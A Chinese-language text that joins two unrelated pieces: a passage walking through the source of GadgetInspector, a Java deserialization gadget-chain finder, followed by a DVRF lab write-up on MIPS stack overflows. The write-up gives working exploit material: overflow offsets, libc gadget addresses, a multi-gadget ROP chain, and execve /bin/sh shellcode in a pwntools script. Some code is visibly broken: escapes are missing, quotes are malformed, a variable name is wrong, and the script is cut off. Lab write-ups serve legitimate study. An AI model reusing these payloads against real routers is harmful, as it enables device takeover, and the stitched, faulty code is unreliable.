接下来由于要把对象引用存到a中,因此会把对象引用存储到局部变量表中(假设在局部变量表2号位,局部变量表1号位存储args),即ASTORE指令,此时会触发一次visitVarInsn。那么接下来在调用a.method1(args)时需要进行两次ALOAD,首先把a的对象引用加载到操作数栈上,再把args加载到操作数栈上,从而接着触发了两次visitVarInsn
NEW A
DUP
INVOKESPECIAL A.<init>()V
ASTORE 2 // 存到局部槽 2 —> visitVarInsn(ASTORE,2)
ALOAD 2 // 再加载回来 —> visitVarInsn(ALOAD,2)
ALOAD 1 // 加载 args —> visitVarInsn(ALOAD,1)
INVOKEVIRTUAL A.method1…
继续我们看第二个例子,当构造函数执行完毕后,不需要进行ASTORE,并且再调用method1时也不需要从局部变量表中加载a的对象引用,因此最终只有加载args时才会调用一次visitVarInsn
NEW A
DUP
INVOKESPECIAL A.<init>()V
// 上一步执行完 new A(),操作数栈上已经有了 A 的实例
ALOAD 1 // 将 args(槽 1)加载到栈顶 — 触发一次 visitVarInsn(AL OAD,1)
INVOKEVIRTUAL A.method1:(Ljava/lang/String;)Ljava/lang/Strin
检测到字节码指令new,触发visitTypeInsn,会push一个空的HashSet到污点栈中:
@Override
public void visitTypeInsn(int opcode, String type) {
switch(opcode) {
case Opcodes.NEW:
push();
break;
case Opcodes.ANEWARRAY:
pop();
push();
break;
case Opcodes.CHECKCAST:
// No-op
break;
case Opcodes.INSTANCEOF:
pop();
push();
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
字节码指令INVOKESPECIALA.<init>()V,调用A的构造器,触发visitMethodInsn,判断是否是构造器,被调用方法为构造器,将this设置为argTypes第一个参数:
Type[] argTypes = Type.getArgumentTypes(desc);
if (opcode != Opcodes.INVOKESTATIC) {
Type[] extendedArgTypes = new Type[argTypes.length+1];
System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
extendedArgTypes[0] = Type.getObjectType(owner);
argTypes = extendedArgTypes;
}
jiee下来检测启动工具时参数是否要进行污点分析,如果不进行污点分析,则直接把调用方法以及被调用方法封装为GraphCall,加入discoveredCalls中:
if (!ConfigHelper.taintTrack) {
//不进行污点分析,全部调用关系都记录
discoveredCalls.add(new GraphCall(
new MethodReference.Handle(new ClassReference.Handle(this.owner), this.name, this.desc),
new MethodReference.Handle(new ClassReference.Handle(owner), name, desc),
0,
"",
0));
break;
}
启动污点分析后的逻辑接着往下看,会从污点栈中取出对应的参数,但我们这里由于没有进入到visitVarInsn,因此污点栈目前只有一个在visitInsn中push进去的一个空的set,这一步不会对discoverdCalls做任何事情
接着我们分析method1(args,name)的调用情况,首先需要加载args,触发visitVarInsn,ALOAD指令,将args(arg1)推入污点栈,然后调用visitMethodInsn。由于要传递的参数name是a的属性,因此需要加载this,从this中拿到name属性。触发ALOAD指令,将this(arg0)推入污点栈。此时污点栈中为如下内容:
stackVars
[{}, {"arg1"}, {"arg0"} ]
接下来需要读入实例a的name字段,检测到字节码指令GETFIELD,触发visitFieldInsn,首先在ClassReference中不断遍历,直到找到该字段,判断该字段是否是transient,如果是transient就没必要加入污点栈。如果是非transient属性,就把栈顶当前的arg0修改为arg0.name加入污点栈中
Set<String> newTaint = new HashSet<>();
if (!Boolean.TRUE.equals(isTransient)) {
for (String s : getStackTaint(0)) {
newTaint.add(s + "." + name);
}
}
super.visitFieldInsn(opcode, owner, name, desc);
//在调用方法前,都会先入栈,作为参数
setStackTaint(0, newTaint);
非静态方法,argTypes第一个为A(this),第二个为String(args),第三个为String(name),对应了污点栈上的[{},{"arg1"}, {"arg0"} ](从左到右为栈底到栈顶),for循环i从0到2,分别从污点栈中拿到了arg0.name,arg1和空set。首先对arg0.name进行拆解,最终拆解出来dotIndex为4,srcArgIndex为0,srcArgPath为name,并记录到了discoverdCalls当中。继续拆解arg1,dotindex为-1,srcArgIndexn为1,srcArgPath为null,记录到discoverdCall
int stackIndex = 0;
for (int i = 0; i < argTypes.length; i++) {
//最右边的参数,就是最后入栈,即在栈顶
int argIndex = argTypes.length-1-i;
Type type = argTypes[argIndex];
//操作数栈出栈,调用方法前,参数都已入栈
Set<String> taint = getStackTaint(stackIndex);
if (taint.size() > 0) {
for (String argSrc : taint) {
//取出出栈的参数,判断是否为当前方法的入参,arg前缀
if (!argSrc.substring(0, 3).equals("arg")) {
throw new IllegalStateException("Invalid taint arg: " + argSrc);
}
int dotIndex = argSrc.indexOf('.');
int srcArgIndex;
String srcArgPath;
if (dotIndex == -1) {
srcArgIndex = Integer.parseInt(argSrc.substring(3));
srcArgPath = null;
} else {
srcArgIndex = Integer.parseInt(argSrc.substring(3, dotIndex));
srcArgPath = argSrc.substring(dotIndex+1);
}
//记录参数流动关系
//argIndex:当前方法参数索引,srcArgIndex:对应上一级方法的参数索引
discoveredCalls.add(new GraphCall(
new MethodReference.Handle(new ClassReference.Handle(this.owner), this.name, this.desc),
new MethodReference.Handle(new ClassReference.Handle(owner), name, desc),
srcArgIndex,
srcArgPath,
argIndex));
}
}
stackIndex += type.getSize();
}
最后save保存数据,持久化后的callgraph.dat格式如下:
调用者类名 调用者方法caller 调用者方法描述 被调用者类名 被调用者方法target 被调用者方法描述 调用者方法参数索引 调用者字段名 被调用者方法参数索引
0x06 利用链入口搜索-SourceDiscovery
在一开始我们也说到了,在挖掘反序列化链的时候需要指定类型,所以此处先获得对应的sourceDiscovery,我们这里以Jackson反序列化分析
if (!Files.exists(Paths.get("sources.dat"))) {
LOGGER.info("Discovering gadget chain source methods...");
SourceDiscovery sourceDiscovery = config.getSourceDiscovery();
//查找利用链的入口(例:java原生反序列化的readObject)
sourceDiscovery.discover();
sourceDiscovery.save();
}
跟进SourceDiscovery.discover在jackson中的实现,可以发现对于Jackson反序列化来说,source需要判断方法是否是无参构造、setter和getter,只有这些方法才能作为jackson反序列化的入口:
@Override
public void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap, Map<MethodReference.Handle, Set<GraphCall>> graphCallMap) {
final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);
for (MethodReference.Handle method : methodMap.keySet()) {
if (skipList.contains(method.getClassReference().getName())) {
continue;
}
if (serializableDecider.apply(method.getClassReference())) {
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {
addDiscoveredSource(new Source(method, 0));
}
}
}
}
最后还是将方法保存持久化为sources.dat,格式如下:
类名 方法名 方法描述 污染参数索引
0x07 gadgetChain挖掘-GadgetChainDiscovery
跟进GadgetChainDiscovery.discover,首先进行所有重写方法的扫描,在一开始我们也说了工具没有办法在运行时进行扫描,所以对于各种方法的重写我们没有办法确定到底调用的是哪个方法
Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
InheritanceMap inheritanceMap = InheritanceMap.load();
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = InheritanceDeriver
.getAllMethodImplementations(
inheritanceMap, methodMap);
Map<ClassReference.Handle, Set<MethodReference.Handle>> methodsByClass = InheritanceDeriver.getMethodsByClass(methodMap);
跟进InheritanceDeriver.getAllMethodImplementations,获取之前收集到的method的类,并通过之前收集到的继承关系来获取类的所有子孙类,最终形成类->子孙类的映射关系:
Map<Handle, Set<MethodReference.Handle>> methodsByClass = getMethodsByClass(methodMap);
Map<ClassReference.Handle, Set<ClassReference.Handle>> subClassMap = new HashMap<>();
for (Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> entry : inheritanceMap.entrySet()) {
for (ClassReference.Handle parent : entry.getValue()) {
if (!subClassMap.containsKey(parent)) {
Set<ClassReference.Handle> subClasses = new HashSet<>();
subClasses.add(entry.getKey());
subClassMap.put(parent, subClasses);
} else {
subClassMap.get(parent).add(entry.getKey());
}
}
}
接下来遍历所有的方法,并遍历subclasses,如果某一个subclass中存在与当前遍历的方法名和返回值一致的方法,就将其加入overridingMethods,最后整合所有重写的方法,形成方法名到重写方法之间的映射关系,由于静态方法不可重写,因此遇到静态方法直接跳过:
//遍历所有方法,根据父类->子孙类集合,找到所有的override的方法,记录下来(某个类的方法->所有的override方法)
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = new HashMap<>();
for (MethodReference method : methodMap.values()) {
// Static methods cannot be overriden
if (method.isStatic()) {
continue;
}
Set<MethodReference.Handle> overridingMethods = new HashSet<>();
Set<ClassReference.Handle> subClasses = subClassMap.get(method.getClassReference());
if (subClasses != null) {
for (ClassReference.Handle subClass : subClasses) {
// This class extends ours; see if it has a matching method
Set<MethodReference.Handle> subClassMethods = methodsByClass.get(subClass);
if (subClassMethods != null) {
for (MethodReference.Handle subClassMethod : subClassMethods) {
if (subClassMethod.getName().equals(method.getName()) && subClassMethod.getDesc().equals(method.getDesc())) {
overridingMethods.add(subClassMethod);
}
}
}
}
}
if (overridingMethods.size() > 0) {
methodImplMap.put(method.getHandle(), overridingMethods);
}
}
然后下面的一大堆逻辑就是对重写方法关系的持久化存储,最终的methodimpl.dat格式如下:
类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
接下来对callgraph.dat的调用关系进行整合,对于同一个方法发起的调用,整合成caller->被调用方法集合之间的映射关系:
Map<MethodReference.Handle, Set<GraphCall>> graphCallMap = new HashMap<>();
for (GraphCall graphCall : DataLoader
.loadData(Paths.get("callgraph.dat"), new GraphCall.Factory())) {
MethodReference.Handle caller = graphCall.getCallerMethod();
if (!graphCallMap.containsKey(caller)) {
Set<GraphCall> graphCalls = new HashSet<>();
graphCalls.add(graphCall);
graphCallMap.put(caller, graphCalls);
} else {
graphCallMap.get(caller).add(graphCall);
}
}
剩下的挖掘逻辑我们用一个例子来分析:
设我们有如下方法间调用:
源:A.sources() 污染参数 0
A.sources(0) → 调用 B.load(0)
B.load(0) → 调用接口方法 C.handle(0)
C.handle(0) 在实现类 CImpl 中有实现 CImpl.handle(0)
CImpl.handle(0) → 调用 D.sink(1)(这里假设它把参数 1 污染到 sink)
D.sink(1) 是最终的 sink
对应的数据结构:
sources.dat 只包含一个 Source(A.sources, taintedArgIndex=0)
graphCallMap
A.sources → { GraphCall(callerArgIndex=0, targetMethod=B.load, targetArgIndex=0) }B.load → { GraphCall(callerArgIndex=0, targetMethod=C.handle, targetArgIndex=0) }C.handle → { GraphCall(callerArgIndex=0, targetMethod=C.handle, targetArgIndex=0) } // interfaceCImpl.handle → { GraphCall(callerArgIndex
implementationFinder.getImplementations(C.handle) → { CImpl.handle }
isSink(D.sink,1) → true
对于是否为sink点的判断逻辑如下:
private boolean isSink(MethodReference.Handle method, int argIndex, InheritanceMap inheritanceMap) { if (!customSlinks.isEmpty()) { for (CustomSlink customSlink:customSlinks) { boolean flag = false; if (customSlink.getClassName() != null) flag &= customSlink.getClassName().equals(method.getClassRef
配置参数:
maxChainLength = 10opLevel = 2taintTrack = true
1️⃣ 初始化
for each Source: srcLink = (A.sources, 0) methodsToExplore = [ [ A.sources(0) ] ] exploredMethods = { A.sources(0) }discoveredGadgets = { }
2️⃣ 第一次迭代
iteration=0 → pop first chain
chain = [ A.sources(0) ]lastLink = (A.sources,0)
长度检查:1 < maxChainLength → 通过
取出 graphCallMap.get(A.sources) → { GC1 }
GC1: (callerArgIndex=0 → targetMethod=B.load, targetArgIndex=0)
taintTrack:GC1.callerArgIndex(0) == lastLink.taintedArgIndex(0) → 通过
找实现:allImpls = getImpls(B.load) → { B.load }(普通方法)
遍历 impls:
methodImpl = B.load
newLink = (B.load,0)
去重:exploredMethods 不含 → 继续
新链:newChain = [ A.sources(0), B.load(0) ]
sink 检测:isSink(B.load,0) → false
加入队列:
methodsToExplore = [ [A.sources(0),B.load(0)] ]exploredMethods.add(B.load(0))
3️⃣ 第二次迭代
iteration=1 → pop
chain = [A.sources(0),B.load(0)]lastLink = (B.load,0)
graphCallMap.get(B.load) → { GC2 }
GC2: (callerArgIndex=0 → targetMethod=C.handle, targetArgIndex=0)
taintTrack:匹配 → 通过
impls:getImpls(C.handle) → { },fallback 父类查找也无(接口),所以按注释 “GadgetInspector bug”,跳到父类去搜,依次找到 C.handle 本身,加入。
impls 变为 → { C.handle }
for each impl:
newLink = (C.handle,0)
去重通过
newChain = [A.sources(0),B.load(0),C.handle(0)]
isSink(C.handle,0) → false
加入:
methodsToExplore = [ [A.sources(0),B.load(0),C.handle(0)] ]
exploredMethods.add(C.handle(0))
4️⃣ 第三次迭代
chain = [A.sources(0),B.load(0),C.handle(0)]
graphCallMap.get(C.handle) → { GC3 }
GC3: (callerArgIndex=0 → targetMethod=C.handle, targetArgIndex=0) // 发自实现类
taintTrack:匹配
impls:getImpls(C.handle) → { CImpl.handle }
for each:
newLink = (CImpl.handle,0)
去重通过
newChain = [A.sources(0),B.load(0),C.handle(0),CImpl.handle(0)]
isSink(CImpl.handle,0) → false
入队 & 加入 exploredMethods
5️⃣ 第四次迭代
chain = [ …, CImpl.handle(0)]
graphCallMap.get(CImpl.handle) → { GC4 }
GC4: (callerArgIndex=0 → targetMethod=D.sink, targetArgIndex=1)
taintTrack:匹配
impls:getImpls(D.sink) → { D.sink }
for each:
newLink = (D.sink,1)
去重通过
newChain = [ …, CImpl.handle(0), D.sink(1)]
isSink(D.sink,1) → true
加入 discoveredGadgets
此时 methodsToExplore 可能为空,循环结束。
接下来进行链路聚合优化
java复制编辑for (GadgetChain shortChain : methodsToExploreRepeat) {
for (GadgetChain fullChain : discoveredGadgets) {
if (shortChain.lastLink 出现在 fullChain 里) {
// 把 fullChain 从 shortChain.lastLink 之后的部分拼过来
tmpDiscoveredGadgets.add( 拼合后的链 );
}
}
}
discoveredGadgets.addAll(tmpDiscoveredGadgets);
比如如果我们因为 opLevel 限制,把某条中间链放进了 methodsToExploreRepeat 而没展开到 sink,那么这段逻辑就能 把这些中途链 自动补全到 已知的完整 Chain,得到更多发现。
MIPS栈溢出漏洞实战解析:从DVRF题目看ROP链构造
前言
最近导师要搞IOT漏洞挖掘项目,我得找找IOT学习资料,DVRF就适合IOT设备漏洞挖掘从入门到入坟....(bushi
固件分析
Squashfs系统,还是小端序,提取一下文件
有漏洞的程序在pwnable目录下
不过DVRF里面还附带有程序的源码,所以我们先看看源码,再来看二进制程序
题目
stack_bof_01
乍一看,strcpy()和system()都有,buff叠满了,细一看system()函数是固定字符串,应该不会造成命令注入漏洞,因为已经把控制参数都给写好了(什么地狱笑话),直接留了个后门,所以只剩下strcpy()这个常见的栈溢出漏洞函数,没有对输入的内容限制长度,所以有栈溢出。buf一共200字节长度,只要argv[]这个我们可控的参数长度超过200就可以覆盖掉buf,然后劫持函数执行流到system("/bin/sh -c")这个后门函数即可
先checksec检查二进制文件信息
什么都没有,城门大开,并且是mips32位小端序,所以要模拟起来的话,需要qemu-mipsel,考虑到动态链接经常出幺蛾子,所以直接搞个静态的,即qemu-mipsel-static到固件的根目录下,
然后开启模拟
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/statck_bof_01
一开始以为显示的是缺少参数东西,检查了好久检查不出个所以然,后来才反应过来这是要在后面输入东西,然后就看见模拟成功跑起来了
那接下来我们需要得到一个偏移量,即argv[]参数到寄存器R31也就是$ra的偏移量,要么静态IDA查看计算一番,不过有可能会不准,所以直接一劳永逸用动态调试来计算好了
首先开启一个端口8888
sudo chroot . ./qemu-mipsel-static -g 8888 ./pwnable/Intro/statck_bof_01
然后另起一个窗口,开启动态调试
gdb-multiarch stack_bof_01
set architecture mips
target remote 127.0.0.1:8888
进来pwndbg初始状态
由于一开始已经在main函数里,所以直接n单步步过到strcpy函数,按理说这个流程应该没错,但是不知道是不是pwndbg自身的问题,一直报错
排查了一天也不知道怎么解决,后来网上找了一个黑盒测试的方法
主要用于 调试 MIPS 架构的缓冲区溢出漏洞
ulimit -c unlimited #启用核心转储(core dump)功能,并解除大小限制,当程序崩溃,比如说段错误时,系统会生成一个 core 文件,记录崩溃时的内存状态,如寄存器、堆栈等 此命令确保 core 文件能被完整生成
sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern' #设置核心转储文件的命名格式,方便后续调试时快速定位对应的崩溃文件
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 `cyclic 1000` #在 chroot 环境中,使用 QEMU 用户态模拟器运行 MIPS 小端序程序,并触发崩溃,程序因缓冲区溢出崩溃,生成 core 文件
sudo gdb-multiarch ./pwnable/Intro/stack_bof_01 ./qemu_stack_bof_01_20250406-074606_5214.core -q #使用支持多架构的 GDB 加载程序及其核心转储文件进行调试,查看崩溃时的寄存器状态,比如说$pc 的值,确定溢出点偏移量
cyclic -l 0x63616162 #通过崩溃时覆盖的地址,这里是0x63616162,反推溢出点偏移量 cyclic 工具生成一个 唯一递增的 4 字节模式字符串 比如说aaaabaaacaaadaaa...当程序崩溃时,若寄存器的值是 0x63616162(对应 ASCII baac,注意小端序),则执行cyclic -l 0x63616162 该值在模式字符串中的偏移量,即溢出点到返回地址的偏移
说白了,整个调试模式流程如下:
生成崩溃:通过 cyclic 字符串触发程序崩溃,生成 core 文件
定位偏移:用 cyclic -l <地址> 计算偏移量
构造 Payload:根据偏移量构造 填充数据 + 目标地址 的利用载荷
重新触发:用构造的 Payload 替换 cyclic 字符串,验证漏洞利用
学到了学到了
所以我们得到了偏移204的位置覆盖了返回地址,所以我们要先覆盖204个字节长度(这里不用再加上4个字节长度的寄存器了,因为204就已经包括了寄存器了),然后再加上程序自己留的后门函数system("/bin/sh -c")的地址,就可以完成一次攻击劫持流
由IDA可知,后门函数地址为0x00400950,并且要注意这里是小端序的写法,所以payload为
sudo chroot ./ ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 `python -c 'print(b"a"*204 + b"\x50\x09\x40\x00")'`
由于pwndbg动态调试的时候出现异常,所以这里改为用IDA进行远程动态调试
不出意外崩了,毫不意外呢....
根据技术文档分析,程序崩溃的根源与MIPS架构特性直接相关
在缓冲区溢出攻击场景中,全局指针寄存器$gp被覆盖是触发异常的核心因素。该寄存器负责维护全局数据区的基址定位,其值被破坏后,程序无法通过偏移计算正确访问全局变量或静态存储区,最终因寻址错误,比如说访问非法内存地址,导致崩溃
进一步结合漏洞利用流程,MIPS的函数执行机制要求$t9寄存器必须指向当前函数的入口地址,这是指令集中对函数跳转和数据索引的硬性规范。例如,调用dat_shell函数时,若$t9未正确指向其起始地址,代码将无法解析函数内的相对偏移,进而引发执行流紊乱
t9 寄存器总是保存的是函数的开头地址,若通过控制 ra 直接劫持到目标函数,t9 寄存器没有变化,还是原来调用过的函数的地址
所以需要调用 ROP 来设置一次 t9 寄存器的地址为后门地址,进而 jr $t9,才能使得 gp 寄存器正确的寻址
而且这里不能用 python -c 命令作为命令行参数传进去,因为在 python 输出过程中会被截断
因此,完整的利用链需分两步完成:首先通过ROP gadget精准设置$t9寄存器的值,使其符合目标函数dat_shell的入口地址,再通过控制流劫持跳转至目标函数,从而绕过MIPS架构的寄存器约束,实现稳定攻击
所以现在首要目标就是要找到一个gadgets,可以跳转到$t9寄存器,然后修改返回地址到 rop_gadget, 设置 $t9 为 dat_shell 函数的地址,跳转到 dat_shell 函数,执行system,在原程序中没有找到跳转到$t9的gadget
在DVRF固件所提供的文件libc.so.0中刚好能找到我们想要的gadget
但是这不是真正的地址,我们得去找到libc的基地址再加上0x6b20才是我们所以填写到payload中的地址
所以现在问题又变成了怎么找到libc的基地址,因为从ida来看,并没有@plt表,所以通过泄露一些在程序中已被调用的函数的地址,通过其在程序运行起来的地址减去在libc.so.0内的地址从而得到libc的基地址
那我们就用这个第一个的memset函数,在libc.so.0的地址为0001BE10
ida在memset下个断点,然后远程动态调试
找到memset在执行的时候的真正地址,为0x7F700E10
libc_base=0x7F700E10-0x0001be10=0x7f6e5000
gadget地址为=0x7f6e5000+0x6b20=0x7F6EBB20
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x20\xbb\x6e\x7f\x50\x09\x40\x00'")"
我看网上还有一种方法,因为dat_shell的首地址在0x00400950,但是直接跳过去的话又会发生崩溃,所以在0x00400950处下一个断点,看看到底咋回事
可以看到经过三次单步步过之后,gp寄存器指向了一块不知名且无法访问的内存空间
而gp寄存器在MIPS中$gp是 全局指针寄存器,用于高效访问静态数据区,比如说全局变量、常量等
程序启动时,$gp 由运行时环境,比如说启动代码设置为指向 .got或数据段中间位置。
当$gp指向了一块不知名且无法访问的内存区域时,通常意味着程序在初始化、链接或运行时逻辑中存在严重问题,也有可能时$gp 本应在程序生命周期内保持恒定,但若代码中错误地修改了 $gp,比如说如误将其用作临时寄存器),会导致后续全局数据访问失败
总之既然直接跳转到0x00400950会发生错误,那根据上述的调试可知,只要绕过前面三步单步步过就可以了,所以把payload地址修改为0x0040095c
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40\x00'")"
又get一种黑科技写法
这道题最重要的就是学到$t9寄存器的值是MIPS程序的函数的起始地址,这对rop链构造是至关重要的
stack_bof_02
先看源码
这一漏洞的本质仍属于典型的栈溢出攻击场景
程序通过命令行参数获取输入数据,在利用strcpy函数进行数据复制时,由于未对参数长度进行有效性校验,导致超出目标缓冲区的容量边界,从而引发栈空间溢出
而且,根据《揭秘家用路由器0day漏洞挖掘技术》书中所写到,main函数在MIPS架构中被归类为非叶子函数,这意味着其栈帧中会保存返回地址寄存器$ra
当溢出发生时,就可以通过构造的输入数据覆盖栈上存储的$ra值,当main函数执行完毕并尝试通过jr $ra返回时,程序流将被劫持到被篡改的地址
不过跟上一道相比,少了后门函数
因此,我们需要通过注入Shellcode到栈或寄存器中,并将$ra覆盖为Shellcode的起始地址,从而在程序返回时触发攻击代码的执行
检查一下文件,发现啥保护都没有,32小端序
模拟,启动!
sudo chroot . ./qemu-mipsel-static ./pwnable/ShellCode_Required/stack_bof_02
这已经明示了要弄shellcode了
动态调试还是不行啊...搞不定,用用黑盒测试
要覆盖508个字节长度
准备构造ROP
由于MIPS采用流水线指令集架构,其存在cache incoherency特性,因此在跳转到shellcode之前必须调用sleep等函数将数据区刷新至当前指令区,这样才能保证shellcode的正常执行
流水线指令集架构
是一种通过并行化处理指令执行过程来提高处理器效率的设计方法。其核心思想是将指令的执行过程划分为多个独立的阶段
比如说取指、译码、执行、访存、写回等
每个阶段由专门的硬件单元处理,不同阶段的指令可以同时执行,从而形成类似“工厂流水线”的工作模式
典型的流水线分为以下阶段(以经典5级流水线为例):
取指(IF):从内存中读取指令。
译码(ID):解析指令的操作码和操作数。
执行(EX):执行算术或逻辑运算。
访存(MEM):访问内存(如加载或存储数据)。
写回(WB):将结果写回寄存器。
每个阶段完成后,指令会传递到下一阶段,同时新的指令进入当前阶段。例如:
第1条指令处于写回阶段时,
第2条指令可能处于访存阶段,
第3条指令处于执行阶段,
...
举个例子
ADD R1, R2, R3 #R1 = R2 + R3,算术运算
LW R4, 0(R1) #从内存地址R1+0加载数据到R4,访存操作
SUB R5, R4, R6 # R5 = R4 - R6,依赖第2条指令的R4结果
BEQ R5, R0, LABEL #若R5 == 0,跳转到LABEL,分支指令
所以,我们需要在跳转前调用 sleep(1) 刷新指令缓存,而sleep函数将参数存放在$a0寄存器中,所以我们在libc.so.0中寻找我们所要的gadget
随便选一个了,选了第二个,且gadget的末尾是跳转到$s1寄存器,先到0x0002fb10地址查看一番
由图所示,我们还要找到可以控制$s1的gadget,以便覆盖数据的时候可以覆盖掉$s1寄存器
但是在main函数中没有出现类似 lw $s0, offset($sp) 的指令,意味着该函数未主动恢复保存寄存器($s0−$s7)的值
函数内部使用了($s0-$s7)这些寄存器,需在函数开头将其保存到栈中(sw $sN, offset($sp)),并在返回前恢复(lw $sN, offset($sp))。
而临时寄存器($t0-$t9)无需保存,调用者需假设其值在函数调用后可能被破坏。
若main函数未使用s0−s7,则无需在栈帧中保存/恢复这些寄存器,因此末尾不会有lw $s0, offset($sp)类指令。
所以由于main函数末尾没有lw $s1, offset($sp),攻击者无法通过覆盖栈上保存的$s1旧值来直接控制该寄存器。
所以,无法直接控制$s1寄存器
需通过其他途径间接控制$s1,比如说,利用其他函数中的gadget恢复$s1,或者是通过数据传递链,比如move指令,将可控寄存器的值传递到$s1
所以还是通过mipsrop.find("lw $s1")找到了一些gadget 0x00006A50
理一下逻辑,使用gadget2=0x00006A50这段gadget设置好寄存器,修改好$s1的值,然后使用gadget1=0x0002FB10这段gadget去刷新数据区
同时还是要找到libc的地址,由上一题可知,libc基地址为0x7f6e5000
所以gadget1=0x7f6e5000+0x0002fb10=0x7f714b10
gadget2=0x00006a50+0x7f6e5000=0x7f6eba50
并且由ida可知调整shellcode的位置为0x58
gadget1=0x7f714b10
gadget2=0x7f6eba50
payload="a"*508
payload+=p32(gadget2)
payload+="a"*0x58
payload+="aaaa" #覆盖s0
payload+="aaaa" #覆盖s1
payload+="aaaa" #覆盖s2
payload+=p32(gadget1)
由ida可知,sleep静态地址为0x0002F2B0,再加上libc_addr的话就为0x7F7142B0
但是不能把sleep地址直接写到s1上,因为当这里填入sleep函数的地址后,程序会直接跳转执行sleep函数,但由于$ra寄存器仍保留着gadget1的地址,在sleep函数执行完毕后又会重新返回到当前位置。因此,需要寻找一个具备双重功能的gadget3——它既能通过s0或s2寄存器实现跳转控制,同时又能够对ra寄存器进行重新赋值,通过mipsrop.tail()找到的gadget3 0x00020F1C+libc_addr=0x7f705f1c
gadget1=0x7f714b10
gadget2=0x7f6eba50
gadget3=0x7f705f1c
sleep_addr=0x7f7142b0
payload="a"*508
payload+=p32(gadget2)
payload+="b"*0x58
payload+="cccc" #覆盖s0
payload+=p32(gadget3) #覆盖s1
payload+=p32(sleep)#覆盖s2,写入sleep
payload+=p32(gadget1)
payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
payload+="aaaa"#覆盖$s0
payload+="aaaa"#覆盖$s1
payload+="aaaa"#覆盖$s2
payload+="aaaa"#覆盖$ra
sleep函数执行完之后,得找一个可以跳转的地址,并且在那上面可以写shellcode
不过没有找到,在师傅建议下,找了一个可以先控制寄存器上的值,再跳转到这里,通过mipsrop.stackerfind(),gadget4=0x00016dd0+libc_addr=0x7f6fbdd0
gadget1=0x7f714b10
gadget2=0x7f6eba50
gadget3=0x7f705f1c
gadget4=0x7f6fbdd0
sleep_addr=0x7f7142b0
payload="a"*508
payload+=p32(gadget2)
payload+="b"*0x58
payload+="cccc" #覆盖s0
payload+=p32(gadget3) #覆盖s1
payload+=p32(sleep)#覆盖s2,写入sleep
payload+=p32(gadget1)
payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
payload+="aaaa"#覆盖$s0
payload+="aaaa"#覆盖$s1
payload+="aaaa"#覆盖$s2
payload+=p32(gadget4)#覆盖$ra
从ida显示的0x00016dd0可知,我们还得找一个可以利用$a0跳转的gadget5,直接简单粗暴 mipsrop.find("move $t9,$a0") gadget5=0x000214A0+libc_addr=0x7f7064a0
gadget1=0x7f714b10
gadget2=0x7f6eba50
gadget3=0x7f705f1c
gadget4=0x7f6fbdd0
gadget5=0x7f7064a0
sleep_addr=0x7f7142b0
payload="a"*508
payload+=p32(gadget2)
payload+="b"*0x58
payload+="cccc" #覆盖s0
payload+=p32(gadget3) #覆盖s1
payload+=p32(sleep)#覆盖s2,写入sleep
payload+=p32(gadget1)
payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
payload+=p32(gadget5)#覆盖$s0
payload+="aaaa"#覆盖$s1
payload+="aaaa"#覆盖$s2
payload+=p32(gadget4)#覆盖$ra
payload+="f"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
随便找了个网站生成了一段小端的shellcode
shellcode = “”
shellcode += "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode+= "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404
完整的payload
from pwn import *
context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"
gadget1=0x7f714b10
gadget2=0x7f6eba50
gadget3=0x7f705f1c
gadget4=0x7f6fbdd0
gadget5=0x7f7064a0
sleep_addr=0x7f7142b0
shellcode = “”
shellcode += "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode+= "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
